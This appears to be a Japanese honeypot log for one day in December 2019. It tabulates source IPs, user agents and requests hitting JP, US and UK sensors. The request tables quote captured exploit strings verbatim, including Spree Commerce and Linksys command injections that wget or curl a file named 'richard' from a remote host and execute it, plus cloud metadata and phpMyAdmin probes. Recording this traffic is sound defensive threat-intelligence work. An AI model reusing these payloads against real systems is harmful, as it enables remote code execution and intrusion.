ハニーポット(仮) 観測記録 2019/12/18分です。
特徴
Location:JP
GPONルータの脆弱性(CVE-2018-10561)を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
Spree Commerceの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
ZmEuによるスキャン行為
Apache Solrに対するスキャン行為
phpMyAdminに対するスキャン行為
User-AgentがHello, Worldであるアクセス
FreePBXに対するログイン試行するアクセス
18[.]179[.]20[.]5に関する不正通信
を確認しました。
Location:US
Linksys WAG54G2の脆弱性を狙うアクセス
Sharepointの脆弱性(CVE-2019-0604)を狙うアクセス
FreePBXに対するログイン試行するアクセス
を確認しました。
Location:UK
NetGear製品の脆弱性を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
Gh0stRATのような動き
を確認しました。
他
アクセス数推移
JP:総アクセス数:87 (前日比:+23)
US:総アクセス数:7 (前日比:-1)
UK:総アクセス数:50 (前日比:+31)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 107.6.91.26 | United States |
1 | 128.14.209.234 | United States |
1 | 143.137.4.197 | Brazil |
8 | 150.136.251.123 | United States |
1 | 208.113.204.109 | United States |
1 | 218.202.93.78 | China |
1 | 222.80.41.65 | China |
1 | 42.51.191.234 | China |
34 | 44.225.84.206 | United States |
1 | 63.247.65.162 | United States |
35 | 64.74.161.57 | United States |
1 | 74.63.227.26 | United States |
1 | 94.102.49.104 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
23 | - |
14 | AWS Security Scanner |
1 | Hello, World |
1 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
10 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | python-requests/2.22.0 |
1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-862.11.6.el7.x86_64 |
35 | ZmEu |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
10 | CONNECT | 18[.]179[.]20[.]5:80 | HTTP/1.0 |
1 | GET | //admin/config.php?password%5B0%5D=bebydviyx&username=admin | HTTP/1.1 |
1 | GET | //admin/config.php?password%5B0%5D=ZIZO&username=admin | HTTP/1.1 |
1 | GET | /administrator/components/com_joommyadmin/phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /blog/phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /cpphpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /dbadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /elrekt.php | HTTP/1.1 |
1 | GET | /forum/phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
2 | GET | http://169[.]254[.]169[.]254/ | HTTP/1.1 |
2 | GET | http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document | HTTP/1.1 |
2 | GET | http://example.com/ | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/ | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
4 | GET | /latest/dynamic/instance-identity/document | HTTP/1.1 |
1 | GET | /mysqladmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.10.0.0/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.10.0.1/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.10.0/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.10.1.0/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.11.1.0/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.11.1.1/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.11.1.2/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.11.1-all-languages/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-pl2/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.6.1-pl3/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.7.6/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.2.3/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.2/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.5/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.6/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.7/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.8.9/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.9.0.1/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.9.0-rc1/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.9.0/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin-2.9.1/scripts/setup.php | HTTP/1.1 |
1 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /php/phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | ../../proc/ | HTTP |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /?search[send]=eval&search[send]=Kernel.fork%20do%60wget%20http%3A%2F%2F145.249.106.241%2Frichard%3B%20curl%20-O%20http%3A%2F%2F145.249.106.241%2Frichard%3B%20chmod%20%2Bx%20richard%3B%20sh%20richard%60end | HTTP/1.0 |
1 | GET | /solr/ | HTTP/1.1 |
1 | GET | /sql/scripts/setup.php | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
3 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /typo3/phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /w00tw00t.at.blackhats.romanian.anti-sec:) | HTTP/1.1 |
1 | GET | /web/phpMyAdmin/scripts/setup.php | HTTP/1.1 |
1 | GET | /wp/wp-content/plugins/wp-phpmyadmin/phpmyadmin/scripts/setup.php | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
1 | POST | /editBlackAndWhiteList | HTTP/1.1\n |
1 | POST | /GponForm/diag_Form?images/ | HTTP/1.1 |
10 | \x16\x03\x01 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 107.6.91.26 | United States |
1 | 128.199.41.60 | Singapore |
2 | 208.113.204.109 | United States |
1 | 63.247.65.162 | United States |
1 | 74.63.227.26 | United States |
1 | 94.102.49.104 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
4 | - |
1 | Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Thunderbird/38.1.0 Lightning/4.0.2 |
1 | python-requests/2.22.0 |
1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-862.11.6.el7.x86_64 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | GET | //admin/config.php?password%5B0%5D=bebydviyx&username=admin | HTTP/1.1 |
1 | GET | //admin/config.php?password%5B0%5D=ZIZO&username=admin | HTTP/1.1 |
1 | GET | ../../proc/ | HTTP |
2 | GET | /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1[.]1[.]1[.]1;wget http://145[.]249[.]106[.]241/richard; | |
1 | GET | /Temporary_Listen_Addresses/WSMAN | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
5 | 117.157.15.27 | China |
1 | 128.14.209.226 | United States |
8 | 152.136.125.210 | China |
1 | 159.203.201.221 | United States |
27 | 172.105.11.111 | United States |
1 | 191.36.185.119 | Brazil |
1 | 193.238.46.18 | Russia |
1 | 197.2.49.156 | Tunisia |
1 | 60.191.66.222 | China |
1 | 66.240.205.34 | United States |
1 | 74.63.227.26 | United States |
1 | 77.247.108.162 | Netherlands |
1 | 94.102.49.104 | Netherlands |
UserAgent一覧
件数 | UserAgent |
---|---|
32 | - |
1 | Mozilla/5.0 |
1 | Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0) |
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
13 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 zgrab/0.x |
1 | python-requests/2.22.0 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | GET | /elrekt.php | HTTP/1.1 |
1 | GET | /.git/config | HTTP/1.1 |
2 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /index.php | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
1 | GET | /manager/text/list | HTTP/1.1 |
1 | GET | ../../proc/ | HTTP |
1 | GET | /public/index.php | HTTP/1.1 |
1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 | HTTP/1.1 |
1 | GET | /solr/ | HTTP/1.1 |
2 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /TP/html/public/index.php | HTTP/1.1 |
2 | GET | /TP/index.php | HTTP/1.1 |
3 | GET | /TP/public/index.php | HTTP/1.1 |
1 | Gh0st\xad | ||
1 | HEAD | /robots.txt | HTTP/1.0 |
1 | POST | /editBlackAndWhiteList | HTTP/1.1 |
28 | \x16\x03\x01 |